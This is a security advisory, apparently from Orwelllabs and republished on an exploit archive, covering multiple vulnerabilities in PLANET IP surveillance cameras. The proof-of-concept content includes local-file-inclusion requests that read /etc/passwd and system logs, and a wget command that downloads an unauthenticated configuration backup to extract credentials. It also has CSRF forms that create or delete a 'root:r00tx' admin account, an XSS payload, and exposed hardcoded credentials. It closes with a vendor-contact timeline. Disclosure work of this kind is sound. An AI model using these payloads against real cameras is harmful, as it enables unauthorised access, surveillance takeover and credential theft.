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PLANET Technology IP Surveillance Cameras - Multiple Vulnerabilities
Posted on 30 November -0001
<HTML><HEAD><TITLE>PLANET Technology IP Surveillance Cameras - Multiple Vulnerabilities</TITLE><META http-equiv="Content-Type" content="text/html; charset=utf-8"></HEAD><BODY> _ _ _ _ | | | | | | ___ _ ____ _____| | | | __ _| |__ ___ / _ | '__ / / / _ | | |/ _` | '_ / __| | (_) | | V V / __/ | | | (_| | |_) __ ___/|_| _/_/ ___|_|_|_|__,_|_.__/|___/ Security Adivisory 2016-04-06 www.orwelllabs.com Twitter:@orwelllabs mantra: ...not affect a product that is in scope for... AhHum! Overview ======== Technical Risk: high Likelihood of Exploitation: medium Credits: Discovered and researched by Orwelllabs CVE-Number: N/A DWF: Submited Adivisory URL: http://www.orwelllabs.com/2016/02/planet-ip-surveillance-camera-local.html [1] Issues ===== I. Local File Inclusion (42 vectors) II. Arbitrary file read/Authentication bypass III. Sensitive information disclosure IV. Cross-site request forgery V. Reflected Cross-site scripting VI. hardcoded credentials I. Local File Inclusion ======================= * CLASS: External Control of File Name or Path [CWE-73] The Web Management interface of PLANET IP surveillance Cams models FW-ICA-2500, ICA-2250VT, ICA-4200V, ICA-4500V, ICA-3350V, ICA-5350V AND ICA-8350 and probably others is prone to Local File Include (LFI). PoC --- The request bellow is generated when a new user is added, in this case we are adding the following administrative credential for the cam: "root:r00tx". GET /cgi-bin/admin/querylogin.cgi HTTP/1.1 Host: {xxx.xxx.xxx.xxx} User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http:// {xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp Cookie: ipcam_profile=1; tour_index=-1; IsHideStreamingStatus=yes Authorization: Basic YdRRtXW41YXRtad4= Connection: keep-alive If-Modified-Since: Mon, 08 Jul 2013 11:10:26 GMT If the value of the parameter "redirect" was changed to any system file will return the contents of that file, as shown below: http:// {xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=/etc/passwd In this case will retrieved the content of /etc/passwd Vectors: ------- There are a total of 42 vectors of LFI, the detailed results will be published in www.orwelllabs.com [1] soon. Basically all menus of the camera (shown below) to submit, add, modify and remove settings trigger the corresponding scripts to access resource that contains a parameter "redirect" which is also affected. [ ----------------------------] [ #1: Network ---------------] -> 9 [ #2: Camera ---------------] -> 3 [ #3: System -------------- ] -> 2 [ #4: Video -------------- ] -> 4 [ #5: Audio -------------- ] -> 1 [ #6: User -------------- ] -> 1 [ #7: Protocol ------------- ] -> 2 [ #8: E-Mail -------------- ] -> 1 [ #9: Event Detection ------ ] -> 1 [ #10: Storage -------------- ] -> 2 [ #11: Continuous Recording - ] -> 1 [ #12: Recording List ------- ] -> 0 [ #13: Event Server --------- ] -> 11 [ #14: Event Schedule ------- ] -> 4 [ ----------+--------------- ] II. Arbitrary file read/Authentication bypass ============================================= The camera offers a feature to perform the download settings via a backup file. However, (how acess control is not effective) this file remains accessible via the browser for an unauthenticated user. PoC --- wget --no-check-certificate https://{xxx.xxx.xxx.xxx}/backup.tar.gz tar -xzvf backup.tar.gz cat tmp/sysConfig/sysenv.cfg|strings|fmt|cut -f8,9 -d" " It will return the credential to access the camera Through this vulnerability a user can also obtain the credential of the AP to which the camera is connected just parsing the file: 'tmp/sysConfig/extra.info' III. Sensitive information disclosure ===================================== Using LFI vulnerability report, a user can obtain sensitive information such as username and password by reading the log file, as follows: {xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=&pwd=&grp=&sgrp=&action=&redirect=/var/log/messages IV. Cross-site request forgery ============================== Planet IP cams ICA-* are prone to Multple CSRF. PoC ------ - This will create a admin credential: root:r00tx <html> <!-- CSRF PoC - --> <body> <form action="http:// {xxx.xxx.xxx.xxx}/setup.cgi?language=ie&adduser=root:r00tx:1"> <input type="submit" value="Submit form" /> </form> </body> </html> - ICA-5350V <html> <!-- CSRF PoC --> <body> <form action="http:// {xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=add&redirect=asp%2Fuser.asp"> <input type="submit" value="Submit form" /> </form> </body> </html> - Del user root <html> <!-- CSRF PoC --> <body> <form action="http:// {xxx.xxx.xxx.xxx}/cgi-bin/admin/usrgrp.cgi?user=root&pwd=r00tx&grp=administrator&sgrp=ptz&action=remove&redirect=asp%2Fuser.asp"> <input type="submit" value="Submit form" /> </form> </body> </html> V. Cross-Site Scripting ======================= Cams models ICA-* are prone to Multiple XSS POC ------- http://{xxx.xxx.xxx.xxx}/setup.cgi?<script>alert("XSS")</script> this will pop-up the message XSS in the browser VI. hardcoded credentials ========================= The credentials of web management can be found just viewing the source of page default_nets.htm: POC ------ https://{xxx.xxx.xxx.xxx}/default_nets.htm code: } function av_onload(){ CheckMobileMode(); util_SetUserInfo(); Loadplay(); watchdog(); //alert("watchdog"); } function Loadplay(){ play("MasterUsr","MasterPwd","554",parseInt("99"),parseInt("99"),"1",parseInt("2"),parseInt("0"),"192.168.1.99",""); } Vulnerable Packages =================== ICA-2500 ICA-2250VT ICA-4200V ICA-4500V ICA-3350V ICA-5350V ICA-8350 Timeline ======== 2015-10-02 - Issues discovered 2015-11-30 - Vendor contacted (advisore sent) 2015-12-16 - Vendor contacted (asking for feedback about reported issues) 2015-12-17 - Vendor response (asking for more time to check issues) 2015-12-21 - RD team replied: can't duplicate vulnerabilities.... 2016-01-13 - Vendor contacted (submitted evidence that the vulnerabilities persist and can be reproduced.) ...and no news after that... </BODY></HTML>
